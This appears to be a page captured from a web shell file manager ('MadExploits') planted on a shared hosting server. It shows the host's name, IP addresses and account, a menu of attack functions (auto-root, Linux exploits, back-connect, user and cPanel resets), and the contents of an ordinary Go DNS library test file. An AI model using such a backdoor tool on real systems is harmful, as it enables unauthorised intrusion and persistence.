Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
github.com /
miekg /
dns@v1.1.41 /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
dr-xr-xr-x
dnsutil
[ DIR ]
dr-xr-xr-x
.codecov.yml
128
B
-r--r--r--
.gitignore
24
B
-r--r--r--
AUTHORS
27
B
-r--r--r--
CODEOWNERS
18
B
-r--r--r--
CONTRIBUTORS
150
B
-r--r--r--
COPYRIGHT
512
B
-r--r--r--
LICENSE
1.58
KB
-r--r--r--
Makefile.fuzz
671
B
-r--r--r--
Makefile.release
992
B
-r--r--r--
README.md
5.83
KB
-r--r--r--
acceptfunc.go
1.83
KB
-r--r--r--
acceptfunc_test.go
859
B
-r--r--r--
client.go
13.88
KB
-r--r--r--
client_test.go
16.25
KB
-r--r--r--
clientconfig.go
3.3
KB
-r--r--r--
clientconfig_test.go
4.63
KB
-r--r--r--
dane.go
997
B
-r--r--r--
defaults.go
10.3
KB
-r--r--r--
dns.go
4.34
KB
-r--r--r--
dns_bench_test.go
9.42
KB
-r--r--r--
dns_test.go
9.95
KB
-r--r--r--
dnssec.go
18.32
KB
-r--r--r--
dnssec_keygen.go
3.1
KB
-r--r--r--
dnssec_keyscan.go
6.16
KB
-r--r--r--
dnssec_privkey.go
2.27
KB
-r--r--r--
dnssec_test.go
28.57
KB
-r--r--r--
doc.go
10.54
KB
-r--r--r--
duplicate.go
953
B
-r--r--r--
duplicate_generate.go
3.95
KB
-r--r--r--
duplicate_test.go
3.77
KB
-r--r--r--
dyn_test.go
37
B
-r--r--r--
edns.go
19.69
KB
-r--r--r--
edns_test.go
3.09
KB
-r--r--r--
example_test.go
3.12
KB
-r--r--r--
format.go
2.4
KB
-r--r--r--
format_test.go
279
B
-r--r--r--
fuzz.go
536
B
-r--r--r--
fuzz_test.go
7.54
KB
-r--r--r--
generate.go
4.97
KB
-r--r--r--
generate_test.go
6.93
KB
-r--r--r--
go.mod
210
B
-r--r--r--
go.sum
1
KB
-r--r--r--
issue_test.go
1.19
KB
-r--r--r--
labels.go
4.11
KB
-r--r--r--
labels_test.go
7.88
KB
-r--r--r--
leak_test.go
1.81
KB
-r--r--r--
length_test.go
20.49
KB
-r--r--r--
listen_go111.go
881
B
-r--r--r--
listen_go_not111.go
485
B
-r--r--r--
msg.go
31.99
KB
-r--r--r--
msg_generate.go
10.22
KB
-r--r--r--
msg_helpers.go
21.54
KB
-r--r--r--
msg_helpers_test.go
11.86
KB
-r--r--r--
msg_test.go
9.12
KB
-r--r--r--
msg_truncate.go
3.4
KB
-r--r--r--
msg_truncate_test.go
5
KB
-r--r--r--
nsecx.go
2.38
KB
-r--r--r--
nsecx_test.go
4.77
KB
-r--r--r--
parse_test.go
65.88
KB
-r--r--r--
privaterr.go
3.23
KB
-r--r--r--
privaterr_test.go
3.51
KB
-r--r--r--
reverse.go
1.32
KB
-r--r--r--
rr_test.go
191
B
-r--r--r--
sanitize.go
1.98
KB
-r--r--r--
sanitize_test.go
2
KB
-r--r--r--
scan.go
29.12
KB
-r--r--r--
scan_rr.go
40.59
KB
-r--r--r--
scan_test.go
8.88
KB
-r--r--r--
serve_mux.go
3.37
KB
-r--r--r--
serve_mux_test.go
1.63
KB
-r--r--r--
server.go
21.53
KB
-r--r--r--
server_test.go
31.38
KB
-r--r--r--
sig0.go
4.59
KB
-r--r--r--
sig0_test.go
2.23
KB
-r--r--r--
singleinflight.go
1.56
KB
-r--r--r--
smimea.go
1.33
KB
-r--r--r--
svcb.go
19.95
KB
-r--r--r--
svcb_test.go
2.48
KB
-r--r--r--
tlsa.go
1.1
KB
-r--r--r--
tsig.go
10.98
KB
-r--r--r--
tsig_test.go
10.75
KB
-r--r--r--
types.go
36.03
KB
-r--r--r--
types_generate.go
8.63
KB
-r--r--r--
types_test.go
4.31
KB
-r--r--r--
udp.go
2.9
KB
-r--r--r--
udp_test.go
4.41
KB
-r--r--r--
udp_windows.go
1.15
KB
-r--r--r--
update.go
3.08
KB
-r--r--r--
update_test.go
4.38
KB
-r--r--r--
version.go
275
B
-r--r--r--
version_test.go
180
B
-r--r--r--
xfr.go
6.57
KB
-r--r--r--
xfr_test.go
2.72
KB
-r--r--r--
zduplicate.go
20.23
KB
-r--r--r--
zmsg.go
59.75
KB
-r--r--r--
ztypes.go
29.52
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : types_test.go
package dns import ( "testing" ) func TestCmToM(t *testing.T) { s := cmToM(0, 0) if s != "0.00" { t.Error("0, 0") } s = cmToM(1, 0) if s != "0.01" { t.Error("1, 0") } s = cmToM(3, 1) if s != "0.30" { t.Error("3, 1") } s = cmToM(4, 2) if s != "4" { t.Error("4, 2") } s = cmToM(5, 3) if s != "50" { t.Error("5, 3") } s = cmToM(7, 5) if s != "7000" { t.Error("7, 5") } s = cmToM(9, 9) if s != "90000000" { t.Error("9, 9") } } func TestSplitN(t *testing.T) { xs := splitN("abc", 5) if len(xs) != 1 && xs[0] != "abc" { t.Errorf("failure to split abc") } s := "" for i := 0; i < 255; i++ { s += "a" } xs = splitN(s, 255) if len(xs) != 1 && xs[0] != s { t.Errorf("failure to split 255 char long string") } s += "b" xs = splitN(s, 255) if len(xs) != 2 || xs[1] != "b" { t.Errorf("failure to split 256 char long string: %d", len(xs)) } // Make s longer for i := 0; i < 255; i++ { s += "a" } xs = splitN(s, 255) if len(xs) != 3 || xs[2] != "a" { t.Errorf("failure to split 510 char long string: %d", len(xs)) } } func TestSprintName(t *testing.T) { tests := map[string]string{ // Non-numeric escaping of special printable characters. " '@;()\"\\..example": `\ \'\@\;\(\)\"\..example`, "\\032\\039\\064\\059\\040\\041\\034\\046\\092.example": `\ \'\@\;\(\)\"\.\\.example`, // Numeric escaping of nonprintable characters. "\x00\x07\x09\x0a\x1f.\x7f\x80\xad\xef\xff": `\000\007\009\010\031.\127\128\173\239\255`, "\\000\\007\\009\\010\\031.\\127\\128\\173\\239\\255": `\000\007\009\010\031.\127\128\173\239\255`, // No escaping of other printable characters, at least after a prior escape. ";[a-zA-Z0-9_]+/*.~": `\;[a-zA-Z0-9_]+/*.~`, ";\\091\\097\\045\\122\\065\\045\\090\\048\\045\\057\\095\\093\\043\\047\\042.\\126": `\;[a-zA-Z0-9_]+/*.~`, // "\\091\\097\\045\\122\\065\\045\\090\\048\\045\\057\\095\\093\\043\\047\\042.\\126": `[a-zA-Z0-9_]+/*.~`, // Incomplete "dangling" escapes are dropped regardless of prior escaping. "a\\": `a`, ";\\": `\;`, // Escaped dots stay escaped regardless of prior escaping. "a\\.\\046.\\.\\046": `a\.\..\.\.`, "a\\046\\..\\046\\.": `a\.\..\.\.`, } for input, want := range tests { got := sprintName(input) if got != want { t.Errorf("input %q: expected %q, got %q", input, want, got) } } } func TestSprintTxtOctet(t *testing.T) { got := sprintTxtOctet("abc\\.def\007\"\127@\255\x05\xef\\") if want := "\"abc\\.def\\007\\\"W@\\173\\005\\239\""; got != want { t.Errorf("expected %q, got %q", want, got) } } func TestSprintTxt(t *testing.T) { got := sprintTxt([]string{ "abc\\.def\007\"\127@\255\x05\xef\\", "example.com", }) if want := "\"abc.def\\007\\\"W@\\173\\005\\239\" \"example.com\""; got != want { t.Errorf("expected %q, got %q", want, got) } } func TestRPStringer(t *testing.T) { rp := &RP{ Hdr: RR_Header{ Name: "test.example.com.", Rrtype: TypeRP, Class: ClassINET, Ttl: 600, }, Mbox: "\x05first.example.com.", Txt: "second.\x07example.com.", } const expected = "test.example.com.\t600\tIN\tRP\t\\005first.example.com. second.\\007example.com." if rp.String() != expected { t.Errorf("expected %v, got %v", expected, rp) } _, err := NewRR(rp.String()) if err != nil { t.Fatalf("error parsing %q: %v", rp, err) } } func BenchmarkSprintName(b *testing.B) { for n := 0; n < b.N; n++ { got := sprintName("abc\\.def\007\"\127@\255\x05\xef\\") if want := "abc\\.def\\007\\\"W\\@\\173\\005\\239"; got != want { b.Fatalf("expected %q, got %q", want, got) } } } func BenchmarkSprintName_NoEscape(b *testing.B) { for n := 0; n < b.N; n++ { got := sprintName("large.example.com") if want := "large.example.com"; got != want { b.Fatalf("expected %q, got %q", want, got) } } } func BenchmarkSprintTxtOctet(b *testing.B) { for n := 0; n < b.N; n++ { got := sprintTxtOctet("abc\\.def\007\"\127@\255\x05\xef\\") if want := "\"abc\\.def\\007\\\"W@\\173\\005\\239\""; got != want { b.Fatalf("expected %q, got %q", want, got) } } } func BenchmarkSprintTxt(b *testing.B) { txt := []string{ "abc\\.def\007\"\127@\255\x05\xef\\", "example.com", } b.ResetTimer() for n := 0; n < b.N; n++ { got := sprintTxt(txt) if want := "\"abc.def\\007\\\"W@\\173\\005\\239\" \"example.com\""; got != want { b.Fatalf("expected %q, got %q", got, want) } } }
Close